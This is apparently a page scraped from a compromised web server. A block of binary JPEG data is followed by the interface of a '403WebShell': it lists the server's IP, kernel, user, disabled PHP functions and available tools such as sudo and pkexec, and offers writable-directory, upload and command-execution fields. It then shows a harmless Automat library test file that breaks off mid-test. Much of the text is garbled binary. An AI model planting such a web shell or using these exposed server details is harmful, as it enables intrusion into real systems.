JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 13.127.148.211  /  Your IP : 216.73.216.13
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ip-172-31-43-195 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/automat/_test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/automat/_test/test_methodical.py
"""
Tests for the public interface of Automat.
"""

from functools import reduce
from unittest import TestCase

from automat._methodical import ArgSpec, _getArgNames, _getArgSpec, _filterArgs
from .. import MethodicalMachine, NoTransition
from .. import _methodical


class MethodicalTests(TestCase):
    """
    Tests for L{MethodicalMachine}.
    """

    def test_oneTransition(self):
        """
        L{MethodicalMachine} provides a way for you to declare a state machine
        with inputs, outputs, and states as methods.  When you have declared an
        input, an output, and a state, calling the input method in that state
        will produce the specified output.
        """

        class Machination(object):
            machine = MethodicalMachine()
            @machine.input()
            def anInput(self):
                "an input"

            @machine.output()
            def anOutput(self):
                "an output"
                return "an-output-value"

            @machine.output()
            def anotherOutput(self):
                "another output"
                return "another-output-value"

            @machine.state(initial=True)
            def anState(self):
                "a state"

            @machine.state()
            def anotherState(self):
                "another state"

            anState.upon(anInput, enter=anotherState, outputs=[anOutput])
            anotherState.upon(anInput, enter=anotherState,
                              outputs=[anotherOutput])

        m = Machination()
        self.assertEqual(m.anInput(), ["an-output-value"])
        self.assertEqual(m.anInput(), ["another-output-value"])


    def test_machineItselfIsPrivate(self):
        """
        L{MethodicalMachine} is an implementation detail.  If you attempt to
        access it on an instance of your class, you will get an exception.
        However, since tools may need to access it for the purposes of, for
        example, visualization, you may access it on the class itself.
        """
        expectedMachine = MethodicalMachine()
        class Machination(object):
            machine = expectedMachine
        machination = Machination()
        with self.assertRaises(AttributeError) as cm:
            machination.machine
        self.assertIn("MethodicalMachine is an implementation detail",
                      str(cm.exception))
        self.assertIs(Machination.machine, expectedMachine)


    def test_outputsArePrivate(self):
        """
        One of the benefits of using a state machine is that your output method
        implementations don't need to take invalid state transitions into
        account - the methods simply won't be called.  This property would be
        broken if client code called output methods directly, so output methods
        are not directly visible under their names.
        """
        class Machination(object):
            machine = MethodicalMachine()
            counter = 0
            @machine.input()
            def anInput(self):
                "an input"
            @machine.output()
            def anOutput(self):
                self.counter += 1
            @machine.state(initial=True)
            def state(self):
                "a machine state"
            state.upon(anInput, enter=state, outputs=[anOutput])
        mach1 = Machination()
        mach1.anInput()
        self.assertEqual(mach1.counter, 1)
        mach2 = Machination()
        with self.assertRaises(AttributeError) as cm:
            mach2.anOutput
        self.assertEqual(mach2.counter, 0)

        self.assertIn(
            "Machination.anOutput is a state-machine output method; to "
            "produce this output, call an input method instead.",
            str(cm.exception)
        )


    def test_multipleMachines(self):
        """
        Two machines may co-exist happily on the same instance; they don't
        interfere with each other.
        """
        class MultiMach(object):
            a = MethodicalMachine()
            b = MethodicalMachine()

            @a.input()
            def inputA(self):
                "input A"
            @b.input()
            def inputB(self):
                "input B"
            @a.state(initial=True)
            def initialA(self):
                "initial A"
            @b.state(initial=True)
            def initialB(self):
                "initial B"
            @a.output()
            def outputA(self):
                return "A"
            @b.output()
            def outputB(self):
                return "B"
            initialA.upon(inputA, initialA, [outputA])
            initialB.upon(inputB, initialB, [outputB])

        mm = MultiMach()
        self.assertEqual(mm.inputA(), ["A"])
        self.assertEqual(mm.inputB(), ["B"])


    def test_collectOutputs(self):
        """
        Outputs can be combined with the "collector" argument to "upon".
        """
        import operator
        class Machine(object):
            m = MethodicalMachine()
            @m.input()
            def input(self):
                "an input"
            @m.output()
            def outputA(self):
                return "A"
            @m.output()
            def outputB(self):
                return "B"
            @m.state(initial=True)
            def state(self):
                "a state"
            state.upon(input, state, [outputA, outputB],
                       collector=lambda x: reduce(operator.add, x))
        m = Machine()
        self.assertEqual(m.input(), "AB")


    def test_methodName(self):
        """
        Input methods preserve their declared names.
        """
        class Mech(object):
            m = MethodicalMachine()
            @m.input()
            def declaredInputName(self):
                "an input"
            @m.state(initial=True)
            def aState(self):
                "state"
        m = Mech()
        with self.assertRaises(TypeError) as cm:
            m.declaredInputName("too", "many", "arguments")
        self.assertIn("declaredInputName", str(cm.exception))


    def test_inputWithArguments(self):
        """
        If an input takes an argument, it will pass that along to its output.
        """
        class Mechanism(object):
            m = MethodicalMachine()
            @m.input()
            def input(self, x, y=1):
                "an input"
            @m.state(initial=True)
            def state(self):
                "a state"
            @m.output()
            def output(self, x, y=1):
                self._x = x
                return x + y
            state.upon(input, state, [output])

        m = Mechanism()
        self.assertEqual(m.input(3), [4])
        self.assertEqual(m._x, 3)


    def test_outputWithSubsetOfArguments(self):
        """
        Inputs pass arguments that output will accept.
        """
        class Mechanism(object):
            m = MethodicalMachine()
            @m.input()
            def input(self, x, y=1):
                "an input"
            @m.state(initial=True)
            def state(self):
                "a state"
            @m.output()
            def outputX(self, x):
                self._x = x
                return x
            @m.output()
            def outputY(self, y):
                self._y = y
                return y
            @m.output()
            def outputNoArgs(self):
                return None
            state.upon(input, state, [outputX, outputY, outputNoArgs])

        m = Mechanism()

        # Pass x as positional argument.
        self.assertEqual(m.input(3), [3, 1, None])
        self.assertEqual(m._x, 3)
        self.assertEqual(m._y, 1)

        # Pass x as key word argument.
        self.assertEqual(m.input(x=4), [4, 1, None])
        self.assertEqual(m._x, 4)
        self.assertEqual(m._y, 1)

        # Pass y as positional argument.
        self.assertEqual(m.input(6, 3), [6, 3, None])
        self.assertEqual(m._x, 6)
        self.assertEqual(m._y, 3)

        # Pass y as key word argument.
        self.assertEqual(m.input(5, y=2), [5, 2, None])
        self.assertEqual(m._x, 5)
        self.assertEqual(m._y, 2)


    def test_inputFunctionsMustBeEmpty(self):
        """
        The wrapped input function must have an empty body.
        """
        # input functions are executed to assert that the signature matches,
        # but their body must be empty

        _methodical._empty() # chase coverage
        _methodical._docstring()

        class Mechanism(object):
            m = MethodicalMachine()
            with self.assertRaises(ValueError) as cm:
                @m.input()
                def input(self):
                    "an input"
                    list() # pragma: no cover
            self.assertEqual(str(cm.exception), "function body must be empty")

        # all three of these cases should be valid. Functions/methods with
        # docstrings produce slightly different bytecode than ones without.

        class MechanismWithDocstring(object):
            m = MethodicalMachine()
            @m.input()
            def input(self):
                "an input"
            @m.state(initial=True)
            def start(self):
                "starting state"
            start.upon(input, enter=start, outputs=[])
        MechanismWithDocstring().input()

        class MechanismWithPass(object):
            m = MethodicalMachine()
            @m.input()
            def input(self):
                pass
            @m.state(initial=True)
            def start(self):
                "starting state"
            start.upon(input, enter=start, outputs=[])
        MechanismWithPass().input()

        class MechanismWithDocstringAndPass(object):
            m = MethodicalMachine()
            @m.input()
            def input(self):
                "an input"
                pass
            @m.state(initial=True)
            def start(self):
                "starting state"
            start.upon(input, enter=start, outputs=[])
        MechanismWithDocstringAndPass().input()

        class MechanismReturnsNone(object):
            m = MethodicalMachine()
            @m.input()
            def input(self):
                return None
            @m.state(initial=True)
            def start(self):
                "starting state"
            start.upon(input, enter=start, outputs=[])
        MechanismReturnsNone().input()

        class MechanismWithDocstringAndReturnsNone(object):
            m = MethodicalMachine()
            @m.input()
            def input(self):
                "an input"
                return None
            @m.state(initial=True)
            def start(self):
                "starting state"
            start.upon(input, enter=start, outputs=[])
        MechanismWithDocstringAndReturnsNone().input()


    def test_inputOutputMismatch(self):
        """
        All the argument lists of the outputs for a given input must match; if
        one does not the call to C{upon} will raise a C{TypeError}.
        """
        class Mechanism(object):
            m = MethodicalMachine()
            @m.input()
            def nameOfInput(self, a):
                "an input"
            @m.output()
            def outputThatMatches(self, a):
                "an output that matches"
            @m.output()
            def outputThatDoesntMatch(self, b):
                "an output that doesn't match"
            @m.state()
            def state(self):
                "a state"
            with self.assertRaises(TypeError) as cm:
                state.upon(nameOfInput, state, [outputThatMatches,
                                                outputThatDoesntMatch])
            self.assertIn("nameOfInput", str(cm.exception))
            self.assertIn("outputThatDoesntMatch", str(cm.exception))


    def test_getArgNames(self):
        """
        Type annotations should be included in the set of
        """
        spec = ArgSpec(
            args=('a', 'b'),
            varargs=None,
            varkw=None,
            defaults=None,
            kwonlyargs=(),
            kwonlydefaults=None,
            annotations=(('a', int), ('b', str)),
        )
        self.assertEqual(
            _getArgNames(spec),
            {'a', 'b', ('a', int), ('b', str)},
        )


    def test_filterArgs(self):
        """
        filterArgs() should not filter the `args` parameter
        if outputSpec accepts `*args`.
        """
        inputSpec = _getArgSpec(lambda *args, **kwargs: None)
        outputSpec = _getArgSpec(lambda *args, **kwargs: None)
        argsIn = ()
        argsOut, _ = _filterArgs(argsIn, {}, inputSpec, outputSpec)
        self.assertIs(argsIn, argsOut)


    def test_multipleInitialStatesFailure(self):
        """
        A L{MethodicalMachine} can only have one initial state.
        """

        class WillFail(object):
            m = MethodicalMachine()

            @m.state(initial=True)
            def firstInitialState(self):
                "The first initial state -- this is OK."

            with self.assertRaises(ValueError):
                @m.state(initial=True)
                def secondInitialState(self):
                    "The second initial state -- results in a ValueError."


    def test_multipleTransitionsFailure(self):
        """
        A L{MethodicalMachine} can only have one transition per start/event
        pair.
        """

        class WillFail(object):
            m = MethodicalMachine()

            @m.state(initial=True)
            def start(self):
                "We start here."
            @m.state()
            def end(self):
                "Rainbows end."

            @m.input()
            def event(self):
                "An event."
            start.upon(event, enter=end, outputs=[])
            with self.assertRaises(ValueError):
                start.upon(event, enter=end, outputs=[])


    def test_badTransitionForCurrentState(self):
        """
        Calling any input method that lacks a transition for the machine's
        current state raises an informative L{NoTransition}.
        """

        class OnlyOnePath(object):
            m = MethodicalMachine()
            @m.state(initial=True)
            def start(self):
                "Start state."
            @m.state()
            def end(self):
                "End state."
            @m.input()
            def advance(self):
                "Move from start to end."
            @m.input()
            def deadEnd(self):
                "A transition from nowhere to nowhere."
            start.upon(advance, end, [])

        machine = OnlyOnePath()
        with self.assertRaises(NoTransition) as cm:
            machine.deadEnd()
        self.assertIn("deadEnd", str(cm.exception))
        self.assertIn("start", str(cm.exception))
        machine.advance()
        with self.assertRaises(NoTransition) as cm:
            machine.deadEnd()
        self.assertIn("deadEnd", str(cm.exception))
        self.assertIn("end", str(cm.exception))


    def test_saveState(self):
        """
        L{MethodicalMachine.serializer} is a decorator that modifies its
        decoratee's signature to take a "state" object as its first argument,
        which is the "serialized" argument to the L{MethodicalMachine.state}
        decorator.
        """

        class Mechanism(object):
            m = MethodicalMachine()
            def __init__(self):
                self.value = 1
            @m.state(serialized="first-state", initial=True)
            def first(self):
                "First state."
            @m.state(serialized="second-state")
            def second(self):
                "Second state."
            @m.serializer()
            def save(self, state):
                return {
                    'machine-state': state,
                    'some-value': self.value,
                }

        self.assertEqual(
            Mechanism().save(),
            {
                "machine-state": "first-state",
                "some-value": 1,
            }
        )


    def test_restoreState(self):
        """
        L{MethodicalMachine.unserializer} decorates a function that becomes a
        machine-state unserializer; its return value is mapped to the
        C{serialized} parameter to C{state}, and the L{MethodicalMachine}
        associated with that instance's state is updated to that state.
        """

        class Mechanism(object):
            m = MethodicalMachine()
            def __init__(self):
                self.value = 1
                self.ranOutput = False
            @m.state(serialized="first-state", initial=True)
            def first(self):
                "First state."
            @m.state(serialized="second-state")
            def second(self):
                "Second state."
            @m.input()
            def input(self):
                "an input"
            @m.output()
            def output(self):
                self.value = 2
                self.ranOutput = True
                return 1
            @m.output()
            def output2(self):
                return 2
            first.upon(input, second, [output],
                       collector=lambda x: list(x)[0])
            second.upon(input, second, [output2],
                        collector=lambda x: list(x)[0])
            @m.serializer()
            def save(self, state):
                return {
                    'machine-state': state,
                    'some-value': self.value,
                }

            @m.unserializer()
            def _restore(self, blob):
                self.value = blob['some-value']
                return blob['machine-state']

            @classmethod
            def fromBlob(cls, blob):
                self = cls()
                self._restore(blob)
                return self

        m1 = Mechanism()
        m1.input()
        blob = m1.save()
        m2 = Mechanism.fromBlob(blob)
        self.assertEqual(m2.ranOutput, False)
        self.assertEqual(m2.input(), 2)
        self.assertEqual(
            m2.save(),
            {
                'machine-state': 'second-state',
                'some-value': 2,
